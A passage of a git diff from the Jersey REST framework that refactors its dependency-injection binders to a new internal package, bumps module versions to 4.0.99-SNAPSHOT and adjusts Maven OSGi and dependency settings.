+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import jakarta.enterprise.inject.spi.Extension;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 
 import org.glassfish.jersey.internal.inject.Injections;
@@ -51,10 +51,10 @@
     protected static SeContainer container;
     protected InjectionManager injectionManager;
 
-    public void setup(Consumer<AbstractBinder> binding) {
+    public void setup(Consumer<InternalBinder> binding) {
         Extension extension = new Extension() {
             void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-                AbstractBinder testBinder = new AbstractBinder() {
+                InternalBinder testBinder = new InternalBinder() {
                     @Override
                     protected void configure() {
                         binding.accept(this);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
index 9c247a9..3769d4b 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierInstanceBindingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,8 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.core.GenericType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.BeforeEach;
@@ -220,7 +221,7 @@
 
     private static class SupplierInstanceBindingTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
                     MyVetoedLongSupplier supplier = new MyVetoedLongSupplier();
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
index e3013fe..e69de29 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
@@ -1,48 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.enterprise.inject.se.SeContainer;
-import jakarta.enterprise.inject.se.SeContainerInitializer;
-import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.Injections;
-import org.junit.jupiter.api.AfterAll;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.BeforeAll;
-
-public class TestParent {
-    protected static SeContainer container;
-    protected InjectionManager injectionManager;
-
-
-    @BeforeAll
-    public static void setup() {
-        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
-        container = containerInitializer.initialize();
-    }
-
-    @BeforeEach
-    public void init() {
-        injectionManager = Injections.createInjectionManager();
-    }
-
-    @AfterAll
-    public static void tearDown() throws Exception {
-        container.close();
-    }
-
-}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
index 97d4a49..9766097 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
@@ -20,104 +20,110 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.process.internal.RequestScoped;
 
-public class TestPreinitialization implements BootstrapPreinitialization {
+public class TestPreinitialization implements org.glassfish.jersey.innate.BootstrapPreinitialization {
+
     @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-        if (RuntimeType.CLIENT == runtimeType) {
-            //ClientInstanceInjectionTest
-            {
-                binder.bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierClient.class)
-                        .to(ClientInstanceInjectionTest.InjectableClientServer.class);
-            }
-            return;
-        }
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                if (RuntimeType.CLIENT == runtimeType) {
+                    //ClientInstanceInjectionTest
+                    {
+                        bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierClient.class)
+                                .to(ClientInstanceInjectionTest.InjectableClientServer.class);
+                        bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
+                    }
+                    return;
+                }
 
-        // Disposable supplier test
-        {
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.StringForSupplierSingletonClass.class);
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class)
-                    .to(DisposableSupplierTest.StringForSupplierClass.class);
-            binder.bindFactory(new DisposableSupplierTest.DisposableSupplierImpl())
-                    .to(DisposableSupplierTest.StringForSupplierInstance.class);
-            binder.bindFactory(SupplierGreeting.class)
-                    .to(DisposableSupplierTest.GreetingsClass.class);
-            binder.bindFactory(new SupplierGreeting())
-                    .to(DisposableSupplierTest.GreetingsInstance.class);
+                // Disposable supplier test
+                {
+                    bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.StringForSupplierSingletonClass.class);
+                    bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class)
+                            .to(DisposableSupplierTest.StringForSupplierClass.class);
+                    bindFactory(new DisposableSupplierTest.DisposableSupplierImpl())
+                            .to(DisposableSupplierTest.StringForSupplierInstance.class);
+                    bindFactory(SupplierGreeting.class)
+                            .to(DisposableSupplierTest.GreetingsClass.class);
+                    bindFactory(new SupplierGreeting())
+                            .to(DisposableSupplierTest.GreetingsInstance.class);
 
-            binder.bindFactory(DisposableSupplierTest.ProxiableDisposableSingletonSupplierImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.ProxiableHolderSingletonClass.class)
-                    .in(RequestScoped.class);
-            binder.bindFactory(DisposableSupplierTest.ProxiableDisposableSupplierImpl.class)
-                    .to(DisposableSupplierTest.ProxiableHolderClass.class)
-                    .in(RequestScoped.class);
+                    bindFactory(DisposableSupplierTest.ProxiableDisposableSingletonSupplierImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.ProxiableHolderSingletonClass.class)
+                            .in(RequestScoped.class);
+                    bindFactory(DisposableSupplierTest.ProxiableDisposableSupplierImpl.class)
+                            .to(DisposableSupplierTest.ProxiableHolderClass.class)
+                            .in(RequestScoped.class);
 
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierForComposedImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.StringForComposed.class);
-            binder.bindAsContract(DisposableSupplierTest.ComposedObject.class)
-                    .in(RequestScoped.class);
-        }
+                    bindFactory(DisposableSupplierTest.DisposableSupplierForComposedImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.StringForComposed.class);
+                    bindAsContract(DisposableSupplierTest.ComposedObject.class)
+                            .in(RequestScoped.class);
+                }
 
-        // ThreadScopeTest
-        {
-            //testThreadScopedInDifferentThread
-            binder.bindAsContract(ThreadScopeTest.SingletonObject.class)
-                    .in(Singleton.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting())
-                    .to(ThreadScopeTest.Greeting.class)
-                    .in(PerThread.class);
+                // ThreadScopeTest
+                {
+                    //testThreadScopedInDifferentThread
+                    bindAsContract(ThreadScopeTest.SingletonObject.class)
+                            .in(Singleton.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting())
+                            .to(ThreadScopeTest.Greeting.class)
+                            .in(PerThread.class);
 
-            //testThreadScopedInRequestScope
-            binder.bindAsContract(ThreadScopeTest.RequestScopedInterface.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
+                    //testThreadScopedInRequestScope
+                    bindAsContract(ThreadScopeTest.RequestScopedInterface.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
 //                    bindFactory(new SupplierGreeting())
 //                            .to(Greeting.class)
 //                            .in(PerThread.class);
 
-            //testThreadScopedInRequestScopeImplementation
-            binder.bindAsContract(ThreadScopeTest.RequestScopedCzech.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting())
-                    .to(ThreadScopeTest.CzechGreeting.class)
-                    .in(PerThread.class);
+                    //testThreadScopedInRequestScopeImplementation
+                    bindAsContract(ThreadScopeTest.RequestScopedCzech.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting())
+                            .to(ThreadScopeTest.CzechGreeting.class)
+                            .in(PerThread.class);
 
-            //testThreadScopedInRequestTwoTypes
-            binder.bindAsContract(ThreadScopeTest.RequestScopedCzech2.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindAsContract(ThreadScopeTest.RequestScopedEnglish2.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.CzechGreeting2.GREETING))
-                    .to(ThreadScopeTest.CzechGreeting2.class)
-                    .in(PerThread.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.EnglishGreeting2.GREETING))
-                    .to(ThreadScopeTest.EnglishGreeting2.class)
-                    .in(PerThread.class);
+                    //testThreadScopedInRequestTwoTypes
+                    bindAsContract(ThreadScopeTest.RequestScopedCzech2.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindAsContract(ThreadScopeTest.RequestScopedEnglish2.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.CzechGreeting2.GREETING))
+                            .to(ThreadScopeTest.CzechGreeting2.class)
+                            .in(PerThread.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.EnglishGreeting2.GREETING))
+                            .to(ThreadScopeTest.EnglishGreeting2.class)
+                            .in(PerThread.class);
+                    //testSupplierClassBindingThreadScopedInSingletonScope
+                    bindAsContract(ThreadScopeTest.SingletonObject3.class)
+                            .in(Singleton.class);
+                    bindFactory(ThreadScopeTest.SupplierGreeting3.class)
+                            .to(ThreadScopeTest.Greeting3.class)
+                            .in(PerThread.class);
+                }
 
-            //testSupplierClassBindingThreadScopedInSingletonScope
-            binder.bindAsContract(ThreadScopeTest.SingletonObject3.class)
-                    .in(Singleton.class);
-            binder.bindFactory(ThreadScopeTest.SupplierGreeting3.class)
-                    .to(ThreadScopeTest.Greeting3.class)
-                    .in(PerThread.class);
-        }
+                //ClientInstanceInjectionTest
+                {
+                    bind(new ClientInstanceInjectionTest.StringInjectable(0))
+                            .to(ClientInstanceInjectionTest.Injectable.class).in(Dependent.class);
+                    bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
 
-        //ClientInstanceInjectionTest
-        {
-            binder.bind(new ClientInstanceInjectionTest.StringInjectable(0))
-                    .to(ClientInstanceInjectionTest.Injectable.class).in(Dependent.class);
-            binder.bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
+                    bindFactory(new ClientInstanceInjectionTest.StringInjectableSupplier2(0))
+                            .to(ClientInstanceInjectionTest.Injectable2.class).in(Dependent.class);
+                    //bindAsContract(ClientInstanceInjectionTest.InjectedSupplierBean.class);
 
-            binder.bindFactory(new ClientInstanceInjectionTest.StringInjectableSupplier2(0))
-                    .to(ClientInstanceInjectionTest.Injectable2.class).in(Dependent.class);
-            //bindAsContract(ClientInstanceInjectionTest.InjectedSupplierBean.class);
-
-            binder.bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierServer.class)
-                    .to(ClientInstanceInjectionTest.InjectableClientServer.class);
-        }
+                    bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierServer.class)
+                            .to(ClientInstanceInjectionTest.InjectableClientServer.class);
+                }
+            }
+        });
     }
 }
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
index 7c959fe..eebc0f7 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
@@ -26,6 +26,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.process.internal.RequestScope;
 
diff --git a/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization b/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
similarity index 81%
rename from incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
rename to incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
index 7909bcf..98fb3b5 100644
--- a/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
+++ b/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -1,5 +1,4 @@
-
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,4 +13,5 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
+org.glassfish.jersey.inject.weld.binder.client.ClientOnlyPreinitialization
 org.glassfish.jersey.inject.weld.internal.managed.TestPreinitialization
\ No newline at end of file
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml
index 77d0ec3..4cf0839 100644
--- a/incubator/declarative-linking/pom.xml
+++ b/incubator/declarative-linking/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
@@ -174,6 +174,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
             </plugin>
         </plugins>
diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
index 241759f..cc273aa 100644
--- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
+++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.Beta;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.linking.contributing.NaiveResourceLinkContributionContext;
 import org.glassfish.jersey.linking.contributing.ResourceLinkContributionContext;
 import org.glassfish.jersey.linking.mapping.NaiveResourceMappingContext;
@@ -43,7 +43,7 @@
 
         Configuration config = context.getConfiguration();
         if (!config.isRegistered(ResponseLinkFilter.class)) {
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
 
                 @Override
                 protected void configure() {
@@ -51,7 +51,7 @@
                             .to(ResourceMappingContext.class).in(Singleton.class);
                 }
             });
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
 
                 @Override
                 protected void configure() {
diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
index 85340a8..ba3d0cf 100644
--- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
+++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,7 @@
 
 package org.glassfish.jersey.linking;
 
-import java.beans.FeatureDescriptor;
 import java.util.HashMap;
-import java.util.Iterator;
 import java.util.Map;
 
 import jakarta.el.ELContext;
@@ -87,11 +85,6 @@
     }
 
     @Override
-    public Iterator<FeatureDescriptor> getFeatureDescriptors(ELContext elc, Object o) {
-        return null;
-    }
-
-    @Override
     public Class<?> getCommonPropertyType(ELContext elc, Object o) {
         return Object.class;
     }
diff --git a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
index bbac5b1..11458ee 100644
--- a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
+++ b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -147,6 +147,14 @@
             throw new UnsupportedOperationException("Not supported yet.");
         }
 
+        public String getMatchedResourceTemplate() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        public List<String> getMatchedResourceTemplates() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
         @Override
         public List<Object> getMatchedResources() {
             Object dummyResource = new Object() {
diff --git a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
index 34e0ff1..535908f 100644
--- a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
+++ b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -114,6 +114,14 @@
             throw new UnsupportedOperationException("Not supported yet.");
         }
 
+        public List<String> getMatchedResourceTemplates() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        public String getMatchedResourceTemplate() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
         public List<Object> getMatchedResources() {
             Object dummyResource = new Object() {};
             return Collections.singletonList(dummyResource);
diff --git a/incubator/gae-integration/pom.xml b/incubator/gae-integration/pom.xml
index ea2d421..da67308 100644
--- a/incubator/gae-integration/pom.xml
+++ b/incubator/gae-integration/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gae-integration</artifactId>
diff --git a/incubator/html-json/pom.xml b/incubator/html-json/pom.xml
index 0bc7fa3..4c0dbe1 100644
--- a/incubator/html-json/pom.xml
+++ b/incubator/html-json/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/injectless-client/pom.xml b/incubator/injectless-client/pom.xml
index 485397c..0ae3a3a 100644
--- a/incubator/injectless-client/pom.xml
+++ b/incubator/injectless-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-injectless-client</artifactId>
@@ -50,6 +50,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
                 <extensions>true</extensions>
             </plugin>
diff --git a/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
index 61e6455..b9033f2 100644
--- a/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
+++ b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Inject;
 import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.RuntimeType;
 
@@ -44,4 +45,9 @@
     public InjectionManager create(Object parent) {
         return new NonInjectionManager(false);
     }
+
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // RuntimeType is always client
+    }
 }
diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml
index e6b4179..8e83c1f 100644
--- a/incubator/kryo/pom.xml
+++ b/incubator/kryo/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/open-tracing/pom.xml b/incubator/open-tracing/pom.xml
index 33a9164..750e19f 100644
--- a/incubator/open-tracing/pom.xml
+++ b/incubator/open-tracing/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/incubator/pom.xml b/incubator/pom.xml
index 3f3fc5d..2678793 100644
--- a/incubator/pom.xml
+++ b/incubator/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/inject/cdi2-se/pom.xml b/inject/cdi2-se/pom.xml
index d69cfc9..0a16ae1 100644
--- a/inject/cdi2-se/pom.xml
+++ b/inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi2-se</artifactId>
@@ -55,6 +55,18 @@
                     <groupId>jakarta.annotation</groupId>
                     <artifactId>jakarta.annotation-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>jakarta.enterprise</groupId>
+                    <artifactId>jakarta.enterprise.cdi-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.el</groupId>
+                    <artifactId>jakarta.el-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.interceptor</groupId>
+                    <artifactId>jakarta.interceptor-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
 
@@ -82,6 +94,22 @@
         <dependency>
             <groupId>jakarta.enterprise</groupId>
             <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.interceptor</groupId>
+                    <artifactId>jakarta.interceptor-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.interceptor</groupId>
+            <artifactId>jakarta.interceptor-api</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.annotation</groupId>
+                    <artifactId>jakarta.annotation-api</artifactId>
+                </exclusion>
+            </exclusions>
         </dependency>
     </dependencies>
 
@@ -117,8 +145,9 @@
                         <Import-Package>
                             sun.misc.*;resolution:=optional,
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
index 7d201f1..91b4521 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,14 @@
 
 import org.glassfish.jersey.inject.cdi.se.bean.JerseyBean;
 import org.glassfish.jersey.inject.cdi.se.injector.ContextInjectionResolverImpl;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
